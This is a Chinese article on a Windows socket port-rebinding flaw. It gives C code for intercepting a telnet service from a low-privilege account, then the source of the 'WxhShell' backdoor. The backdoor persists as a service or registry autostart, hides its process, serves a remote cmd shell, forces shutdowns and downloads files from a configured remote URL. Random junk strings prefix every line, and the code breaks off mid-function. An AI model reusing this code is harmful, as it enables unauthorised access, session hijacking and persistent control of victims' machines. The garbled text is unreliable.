在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-$2kO`|p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ymN!-x8q>' yx>_scv,T saddr.sin_family = AF_INET;
ycAKK?O* a9U_ug58 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
p$E8Bn%[ o[1ylzk}+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8K"+,s(%R bKDA!R2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
][;G=oCT Kw5Lhc1V 这意味着什么?意味着可以进行如下的攻击:
#1.YKo )G1P^WV4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n_u1&a' 6oD\-H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
k`{7}zxS +q<B.XxkA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
58V[mlW)O0 nBItO~l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z=7|{ G 51BlM% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\qh*E#j "v-(g9( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!j:`7PT\ ^W?Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h8e757z w5=tlb #include
PVOx`<ng #include
3)=c]@N0 #include
ANi)q$:{ #include
[
ho(z30k DWORD WINAPI ClientThread(LPVOID lpParam);
xiblPF_n3 int main()
.TJEUK {
,u9M<B<F WORD wVersionRequested;
V5f9]D DWORD ret;
3< Od0J WSADATA wsaData;
:4gLjzL BOOL val;
bM,1 f/^ SOCKADDR_IN saddr;
2";SJF'5\ SOCKADDR_IN scaddr;
a2 +~;{?g int err;
J% H;%ROx SOCKET s;
_+l1b"^s1 SOCKET sc;
U_G gCI) int caddsize;
rQ`i8GF HANDLE mt;
l^MzN DWORD tid;
.Dg*\ h wVersionRequested = MAKEWORD( 2, 2 );
kzn[
=P err = WSAStartup( wVersionRequested, &wsaData );
N_pUv if ( err != 0 ) {
Q Fm|-j printf("error!WSAStartup failed!\n");
b</9Ai= return -1;
NB_)ZEmF }
vmTs9"ujF, saddr.sin_family = AF_INET;
PQN@JaD cTTW06^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3*UR3!Z9
* LUX*P7*B saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!k3e\v| saddr.sin_port = htons(23);
yifY%!@Xu if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:#~U<C@o {
KJ2Pb"s printf("error!socket failed!\n");
WI> P-D return -1;
`o]g~AKX }
5{e,L>H< val = TRUE;
j^tW
Iz //SO_REUSEADDR选项就是可以实现端口重绑定的
39wa|:I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Vwk #qgnX {
%UUH" printf("error!setsockopt failed!\n");
9^Fz iM return -1;
5irwz4.4 }
FGWN}&K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
94skkEj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
CIU1R; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
("~DJ= 8K(Z0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
F!zP<A" {
>MK>gLg}! ret=GetLastError();
=@2FX&&E_ printf("error!bind failed!\n");
7>XDNI return -1;
c;0Vs,DUmG }
j>Iaq" listen(s,2);
"tjLc6Xl^ while(1)
Wq*b~Lw {
D:^$4}h
f caddsize = sizeof(scaddr);
WrPUd{QM //接受连接请求
WQyLf;!Lz sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wNFz*|n if(sc!=INVALID_SOCKET)
H{J'#
9H {
g~V+4+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qd3Q}Lk if(mt==NULL)
No]~jnqDM {
o<IAeH {+ printf("Thread Creat Failed!\n");
/~*_x=p: break;
jZ`;Cy\<B }
v>z tB,,9 }
akw,P$i CloseHandle(mt);
3rLTF\ }
HbP!KVHyk1 closesocket(s);
!Z
VU,b> WSACleanup();
)i+2X5B`S return 0;
!EUan }
lj+u@Z<xA DWORD WINAPI ClientThread(LPVOID lpParam)
W>-Et7&2 {
w 4[{2 SOCKET ss = (SOCKET)lpParam;
oh#\]c\f SOCKET sc;
4DZ-bt' unsigned char buf[4096];
*5 w{8 SOCKADDR_IN saddr;
Y0?5w0{ long num;
()&~@1U DWORD val;
R.=}@oPb DWORD ret;
CLvX!O(~ //如果是隐藏端口应用的话,可以在此处加一些判断
l
Va &" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y.KO :P?5{ saddr.sin_family = AF_INET;
rZ8`sIWQt saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ODZ|bN0> saddr.sin_port = htons(23);
bfo[" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lHgs;>U$ {
Xpzfm7CB/ printf("error!socket failed!\n");
cGjPxG; return -1;
McB[|PmC }
8@so"d2e val = 100;
y;/VB,4V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Zd"^</ S {
jKt7M>P ret = GetLastError();
l;o1 d-n] return -1;
(#+^&1 }
2eMTxwt*S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jLg9H/w{ {
A}eOFu`
ret = GetLastError();
mI 74x3 [ return -1;
SlsdqP
9 }
oudxm[/U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[eTSZjIN7 {
m2AnXY\ printf("error!socket connect failed!\n");
~69&6C1Ch closesocket(sc);
)1X#*mCxk closesocket(ss);
ZP{*.]Qu return -1;
bhniB@< }
13taFVdU while(1)
{<<U^<6} {
6gc>X%d `K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,v"YqD+GC5 //如果是嗅探内容的话,可以再此处进行内容分析和记录
x.-+[l[1
! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/ m=HG^! num = recv(ss,buf,4096,0);
-'6Dg if(num>0)
yPq'( PV send(sc,buf,num,0);
AK@9?_D else if(num==0)
/Rl6g9} break;
3Z1CWzq( num = recv(sc,buf,4096,0);
p5G?N(l if(num>0)
S]+:{9d send(ss,buf,num,0);
K6R.@BMN else if(num==0)
:O uA)f break;
=>-Rnc@ }
#ep`nf0x closesocket(ss);
I_]^ .o1q closesocket(sc);
^0Mt*e{q return 0 ;
]q4rlT.i }
Dh=9Gns9 @;"|@!l| E>K!Vrh-L ==========================================================
z<Nfm 7
qS""f7 下边附上一个代码,,WXhSHELL
3W
N@J6? AIZ]jq ==========================================================
.[_L=_. &q9T9AOS #include "stdafx.h"
5 sX+~Q X(NLtO
w #include <stdio.h>
5 aCgjA11 #include <string.h>
?`?)QE8 #include <windows.h>
094o'k #include <winsock2.h>
*WuID2cOI #include <winsvc.h>
%KLpig #include <urlmon.h>
#{;k{~;PF FYpzQ6s~ #pragma comment (lib, "Ws2_32.lib")
Abc)i7!.,. #pragma comment (lib, "urlmon.lib")
V-BiF>+ m^zUmrj[ #define MAX_USER 100 // 最大客户端连接数
fb~ytl< #define BUF_SOCK 200 // sock buffer
HAa;hb #define KEY_BUFF 255 // 输入 buffer
yU*8|FQbP nlc
"c5;jh #define REBOOT 0 // 重启
tS6qWtE
#define SHUTDOWN 1 // 关机
\2h!aRWR F1yqxWHeo #define DEF_PORT 5000 // 监听端口
a^I\ /&aw' LcTP# #define REG_LEN 16 // 注册表键长度
#"G]ke1l$ #define SVC_LEN 80 // NT服务名长度
,0!}7;j_c {N+$Q' // 从dll定义API
GB=X5<; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;>Ib^ov typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[MUpxOAsd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uI )6M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
glDu2a,Q 3ca (i/c // wxhshell配置信息
%WjXg:R struct WSCFG {
1n;0?MIZ int ws_port; // 监听端口
MDn ua char ws_passstr[REG_LEN]; // 口令
R[D{|K@" int ws_autoins; // 安装标记, 1=yes 0=no
do>wwgr char ws_regname[REG_LEN]; // 注册表键名
GBPo8L"9 char ws_svcname[REG_LEN]; // 服务名
FOE4>zE char ws_svcdisp[SVC_LEN]; // 服务显示名
;@oN s- char ws_svcdesc[SVC_LEN]; // 服务描述信息
YIG~MP char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xqu}cz int ws_downexe; // 下载执行标记, 1=yes 0=no
K &N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{'NvG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
k5'Vy8q s;ls qQk };
o6.^*%kM' :74y! // default Wxhshell configuration
u0`S5? struct WSCFG wscfg={DEF_PORT,
zBzZxK>$ "xuhuanlingzhe",
W')Yg5T 1,
V Y7[) "Wxhshell",
_l89 "Wxhshell",
\!.B+7t=I "WxhShell Service",
UM"- nZ>[ "Wrsky Windows CmdShell Service",
L 0TFo_ "Please Input Your Password: ",
+nFu|qM} 1,
W{ q U "
http://www.wrsky.com/wxhshell.exe",
-(;26\lE "Wxhshell.exe"
KW pVw! };
-&zZtDd F rlOAo`hd // 消息定义模块
Rl?_^dPx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8p 'L#Q. char *msg_ws_prompt="\n\r? for help\n\r#>";
g}1B;zGf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j8^I z char *msg_ws_ext="\n\rExit.";
52Z2]T
c, char *msg_ws_end="\n\rQuit.";
LTQ"8 char *msg_ws_boot="\n\rReboot...";
&]|?o_p3W char *msg_ws_poff="\n\rShutdown...";
iu=7O char *msg_ws_down="\n\rSave to ";
mn"G_I 8e1UmM[ char *msg_ws_err="\n\rErr!";
3YOq2pW72G char *msg_ws_ok="\n\rOK!";
"*e$aTZB\ qN9(S:_Px char ExeFile[MAX_PATH];
-=)H{ int nUser = 0;
V^bwXr4f HANDLE handles[MAX_USER];
?BeiY zg int OsIsNt;
.ypL=~Rp ^ @s1Z7 SERVICE_STATUS serviceStatus;
Ot_]3:`J~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
6]WAUK%h |\pj;XU // 函数声明
h+g_rvIG* int Install(void);
t%/&c::(6 int Uninstall(void);
JcsHt; int DownloadFile(char *sURL, SOCKET wsh);
Z&+ g;(g int Boot(int flag);
c tZ uA+ void HideProc(void);
FrGgga$ int GetOsVer(void);
m$>H u@Va int Wxhshell(SOCKET wsl);
Rq'S>#e void TalkWithClient(void *cs);
k<CJ{u0< int CmdShell(SOCKET sock);
7rc0yB
int StartFromService(void);
X9W@&zQ int StartWxhshell(LPSTR lpCmdLine);
X!TpYUZ' 5H<m$K4z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
KOk4^#h@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
;u_X) l*Gvf_UH // 数据结构和表定义
@<hb6bo,N SERVICE_TABLE_ENTRY DispatchTable[] =
-A^ _{4X {
%S960 {wscfg.ws_svcname, NTServiceMain},
t&C1Oo}=3 {NULL, NULL}
[Kg+^N%+ };
%}SrL* qd ~BnR$= // 自我安装
;#W2|'HD int Install(void)
5}l[>lF {
u5`u>.! char svExeFile[MAX_PATH];
-:+|zF@f HKEY key;
oM>l#><nq strcpy(svExeFile,ExeFile);
~D j8z+^ oGnSPI5KGC // 如果是win9x系统,修改注册表设为自启动
l` lk-nb if(!OsIsNt) {
4#MtF'J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)0]'QLH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M6"PX *K RegCloseKey(key);
SaO}e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-V77C^()8d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t%0VJB,Q2 RegCloseKey(key);
tKOmoC return 0;
{L{o]Ii?g }
NZ:,ph }
=7=]{Cx[ }
oq
Xg else {
{3mRq"e EH J.T~X // 如果是NT以上系统,安装为系统服务
t\dN DS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:D5Rlfj if (schSCManager!=0)
,q`\\d {
,f%S'(>w SC_HANDLE schService = CreateService
`KoV_2| (
"<N*"euH schSCManager,
8b&/k8i: wscfg.ws_svcname,
VPJElRSH wscfg.ws_svcdisp,
w,.TTTad SERVICE_ALL_ACCESS,
y'.p&QH'` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Qz1E 2yJ SERVICE_AUTO_START,
vm8eZG| SERVICE_ERROR_NORMAL,
?(1y svExeFile,
-l*|M(N\ NULL,
&jJL"gq" NULL,
\;Biq` NULL,
y'q$| NULL,
AO4U}? NULL
,?%Zc$\LW );
b4 6~?* if (schService!=0)
`Y$4 H,8L {
l_d5oAh
CloseServiceHandle(schService);
_
]ipajT CloseServiceHandle(schSCManager);
+SU8 +w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7&)bJ@1U strcat(svExeFile,wscfg.ws_svcname);
eu-*?]&Di if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[q[Y~1o/&H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P/eeC" RegCloseKey(key);
BL}\D;+t return 0;
IFL*kB }
&DX! f }
EI%89i`3^ CloseServiceHandle(schSCManager);
A}9`S6 @@ }
)*J^K?!S }
-uG+BraI }o(-=lF return 1;
N:/D+L }
&U#|uc!+ QZ // 自我卸载
*L^,| int Uninstall(void)
Z@S3ZGe {
.|70; HKEY key;
U%QI
a TN* zwjgE6 if(!OsIsNt) {
[}=B8#Jl-C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e X|m RegDeleteValue(key,wscfg.ws_regname);
f}P3O3Yv& RegCloseKey(key);
4Z&lYLq; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F^;ez/Gl RegDeleteValue(key,wscfg.ws_regname);
gR;i(81U RegCloseKey(key);
r`d4e,( return 0;
\ ~$#1D1f }
N~)_DjQP5 }
FTUv IbT }
|/{=ww8| else {
VlsnL8DV ",; H`V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
##>H&,Dp[ if (schSCManager!=0)
qo bc<- {
Ve; n}mJ? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/
zPO if (schService!=0)
@qAS*3j {
;?p>e' if(DeleteService(schService)!=0) {
V**~m9f CloseServiceHandle(schService);
VU3upy< CloseServiceHandle(schSCManager);
Why`ziks return 0;
p_%Rt"! }
sUQ@7sTj CloseServiceHandle(schService);
?0SJfh }
hHnYtq CloseServiceHandle(schSCManager);
}19\.z&J }
\_f(M| }
n{mfn*r. +ye3HGD return 1;
m;QMQeGz }
n/:33DAB eD6fpe\( // 从指定url下载文件
@*((1(q int DownloadFile(char *sURL, SOCKET wsh)
Qp3_f8 {
OQJ6e:BGt HRESULT hr;
<0!):zraS char seps[]= "/";
jQB9j char *token;
Tyx_/pJT char *file;
/82b S| char myURL[MAX_PATH];
s.C_Zf~3 char myFILE[MAX_PATH];
&V/MmmT
b8 likP"T strcpy(myURL,sURL);
M .mfw#* token=strtok(myURL,seps);
t'ql[ while(token!=NULL)
eeB{c.# {
uKHxe~ file=token;
_w+Qy. token=strtok(NULL,seps);
cVF"!. }
3
Za} b| AoxA+.O GetCurrentDirectory(MAX_PATH,myFILE);
U>N1Od4vTO strcat(myFILE, "\\");
m9rp8r*e strcat(myFILE, file);
T_4/C2 send(wsh,myFILE,strlen(myFILE),0);
,k3FRes3 send(wsh,"...",3,0);
ISvpQ 3{)s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0 kW,I if(hr==S_OK)
]}Yl7/gM1} return 0;
"4{r6[dn else
g}c~ :p return 1;
aPL+=5 8r KbeC"mi }
Qvhl4-XjZa H/M@t\$Dc // 系统电源模块
cbTm'}R(G int Boot(int flag)
Pd Wx|y{% {
5=ryDrx HANDLE hToken;
6=Otq=WH TOKEN_PRIVILEGES tkp;
_oeS Uzq. gg2(5FPP if(OsIsNt) {
`;egv*!P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3^yK!-Wp( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Nj/
x. X tkp.PrivilegeCount = 1;
\dah^mw" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)Pv%#P-< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k8zI(5.> if(flag==REBOOT) {
+
{'.7# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uwGc@xOgg, return 0;
zdam^o }
Zj'9rXhrM1 else {
m)v&v6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)9]P MA?u return 0;
9hyn`u. }
5v*\Zr5ha }
nX8v+:&} else {
c-sfg>0 ^ if(flag==REBOOT) {
5Gm_\kd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c7H^$_^ = return 0;
y?3;06y| }
K{+2G&i else {
KMax$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G 01ON0 return 0;
S,8elKH4 }
p5*EA
x }
=7UsVn#o -XG@'P_ return 1;
GTHt'[t@; }
$%f&a3# I7]8Y=xf // win9x进程隐藏模块
N?8!3&TiV void HideProc(void)
f
_:A0 {
Zv{'MIv&v n `Ac 3A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#KvlYZ+1 if ( hKernel != NULL )
CWKm(@"5 {
(/$^uWj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{P-): ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~&uHbTq FreeLibrary(hKernel);
Dw"\/p:-3 }
7zj{wp! nO-#Q=H, return;
h{qgEIk& }
+b6v!7_ yB!dp;gM{ // 获取操作系统版本
|I=T@1_D int GetOsVer(void)
/x *3}oI {
3XNCAb2 OSVERSIONINFO winfo;
DHRlWQox winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@O~pV`_tD GetVersionEx(&winfo);
nJ;.Td if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.6J$,.Ig return 1;
_Z\G5x else
F"mmLao return 0;
%"-5 <6d }
%z$#6?OK^ !()Qm,1u // 客户端句柄模块
;9#KeA _ int Wxhshell(SOCKET wsl)
1\.pMHv/ {
?V=CB,^ SOCKET wsh;
h2QmQ>y" struct sockaddr_in client;
W%w~ah|/] DWORD myID;
0*v2y*2V Gq P5Kx+= while(nUser<MAX_USER)
$:^td/p J {
Ho]su? int nSize=sizeof(client);
;AG()NjOO: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
19] E 5'AI if(wsh==INVALID_SOCKET) return 1;
W@esITr +w~oH = handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Uw:"n]G]D? if(handles[nUser]==0)
0+8e, closesocket(wsh);
d_P` qA else
T> p&$]OG nUser++;
Pzem{y7Ir }
1 -b_~DF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$pz/?>! +cRn%ioVi return 0;
[N'h%1]\ }
t#yuOUg 3(UVg!t // 关闭 socket
h@BY]80 void CloseIt(SOCKET wsh)
uw8f ~:LT {
y)<q/ closesocket(wsh);
2A!FDr~cdT nUser--;
[-x7_=E# ExitThread(0);
5IG-~jzCLb }
(V@HR9?W) 4&iCht
= // 客户端请求句柄
Z30A{6} void TalkWithClient(void *cs)
"wc<B4" {
tl>7^hH 7-A2_!_x{ SOCKET wsh=(SOCKET)cs;
E(|>Ddv B& char pwd[SVC_LEN];
8cQ'dL`( char cmd[KEY_BUFF];
yh=N@Z*zP char chr[1];
8b=_Y; int i,j;
5LMw?P.< LH6vLuf while (nUser < MAX_USER) {
6H|S;K+ !_(Tqyg& if(wscfg.ws_passstr) {
W{aY}` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A %-6`> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`$NP>%J- //ZeroMemory(pwd,KEY_BUFF);
BJ0?kX@ i=0;
%|4UsWZ while(i<SVC_LEN) {
Y9|!+,
XX~,>Q}H= // 设置超时
ch]29 fd_set FdRead;
wyG;8I struct timeval TimeOut;
:Tq~8!s FD_ZERO(&FdRead);
[/ZO q FD_SET(wsh,&FdRead);
2T`!v TimeOut.tv_sec=8;
=R\]=cRbg TimeOut.tv_usec=0;
rM"l@3hP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
OrG).^l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tnIX:6 S
tyfB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.|=\z9_7S8 pwd
=chr[0]; &.ACd+Cd
if(chr[0]==0xd || chr[0]==0xa) { <-0]i_4sK
pwd=0; azU"G(6y?+
break; A)KZa"EX
} 0BsYavCR
i++;
2TuU2 f.
} y> (w\K9W
xLn%hxm?,
// 如果是非法用户,关闭 socket H[|~/0?K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d!{r v
} Dhv3jg;lq
B1Oq!k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \[nut;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Runf
+}
|&jXp%4T
while(1) { Rva$IX^]
C.QO#b
ZeroMemory(cmd,KEY_BUFF); eiOW#_"\
'm9` 12H
// 自动支持客户端 telnet标准 uVU)d1N
j=0; zn(PI3+]!
while(j<KEY_BUFF) { Ct|A:/z(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k_R"CKd
cmd[j]=chr[0]; `,0}ZzaV&
if(chr[0]==0xa || chr[0]==0xd) { tI{_y
cmd[j]=0; y!%CffF2
break; ?hM64jI|
} /Q )\ +
j++; 3ANQaUC
} A(N4N
\di=
// 下载文件 XZwK6F)L
if(strstr(cmd,"http://")) { c"xK`%e
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \(T/O~b2
if(DownloadFile(cmd,wsh)) ,=N.FS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xm2'6f,
else rN{ c7/|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 07 $o;W@
} xwty<?dRW1
else { |)G<,FJQE_
Xry47a
)
switch(cmd[0]) { RFH0
{BHO/q3
// 帮助 $mB;K]m
case '?': { PxE3K-S)G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lh<).<S
break; [1KuzCcK}
} b u"!jHPB
// 安装 0|b>I!_"g
case 'i': { &VcV$8k
if(Install()) m4yL@d,Yw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y4(
else llsfTrp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *\q
d
break; MJrR[h]
} 'P}0FktP`
// 卸载 (4EI-e*6
case 'r': { 3yXY.>'
if(Uninstall()) k$7Jj-+~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {}Za_(Y,]
else y)gKxRaCS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [c06 N$:
break; xP,hTE
} cFWc<55aX6
// 显示 wxhshell 所在路径 FsryEHz
case 'p': { 188*XCtjQ9
char svExeFile[MAX_PATH]; 5PnDN\
strcpy(svExeFile,"\n\r"); 5 u0HI
strcat(svExeFile,ExeFile); V2G6Kw9gt
send(wsh,svExeFile,strlen(svExeFile),0); ]g&TKm
break; GM<-&s!Uj
} .6'qoo_N
// 重启 8&aq/4:q0
case 'b': { vZoaT|3
G]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); veh<R]U
if(Boot(REBOOT)) "w.3Q96r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bY0|N[g
else { n.G!43@*N
closesocket(wsh); }Z,x~G
ExitThread(0); "FKOaQ%IH
} (J!+(H8
break; K6)j0]K1
} |H+Wed|
// 关机 ZJ[
??=Gz
case 'd': { H'hpEwG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
(ICd}
if(Boot(SHUTDOWN)) 9
|vLwQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9p2&)kb6
else { {jX2}
closesocket(wsh); g'qa}/X
ExitThread(0); [1
9,&]z
} /RC7"QzL
break; ^M>P:~
} *ppffz
// 获取shell EJNU761
case 's': { fx>4
CmdShell(wsh); 9 j9TPyC/2
closesocket(wsh); v OpKNp
ExitThread(0); =$Nq
break; [mGLcg6Fw
} ;x@~A^<el
// 退出 }@+:\
case 'x': { "5wa91*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^RtIh-Z.9
CloseIt(wsh); 1Z~FCJz
break; d,n 'n
} [e}]}t8m
// 离开 (c
&mCJN
case 'q': { sI^Xb@'09$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K}MK<2vU
closesocket(wsh); <;Zmjeb+#
WSACleanup(); cP_.&!T
exit(1); &AbNWtCV+G
break; -0x
#
} 8&`LYdzt
} u frL<]A
} pohp&Tcm
}oGA-Qc}B
// 提示信息 ~gZLY ls
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q:k}Jl
} j yUCH*@
} Ks`J([(W&
T!WT;A
return; )"aV* "
} PKg@[<g43
U6fgo3RH
// shell模块句柄 R3&Iu=g
int CmdShell(SOCKET sock) 54R#W:t
{ .Od!0(0
STARTUPINFO si; 65$+{s
ZeroMemory(&si,sizeof(si)); *VhL\IjN]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LR.<&m%~.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 41?HY{&2
PROCESS_INFORMATION ProcessInfo; /zVOK4BqN+
char cmdline[]="cmd"; *@=/qkaJaI
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9c,'k#k
return 0; XXcl{1Kp!@
} Jgd'1'FOs
e_ANUll1
// 自身启动模式 8_B4?` k
int StartFromService(void) EC!02S
{ Mc_YPR:C
typedef struct 9u}Hmb
{ lbl?k5
DWORD ExitStatus; a>I+]`g
DWORD PebBaseAddress; W^LY'ypT
DWORD AffinityMask; ex (.=X 1
DWORD BasePriority; ""F5z,'
ULONG UniqueProcessId; f=gW]x7'R+
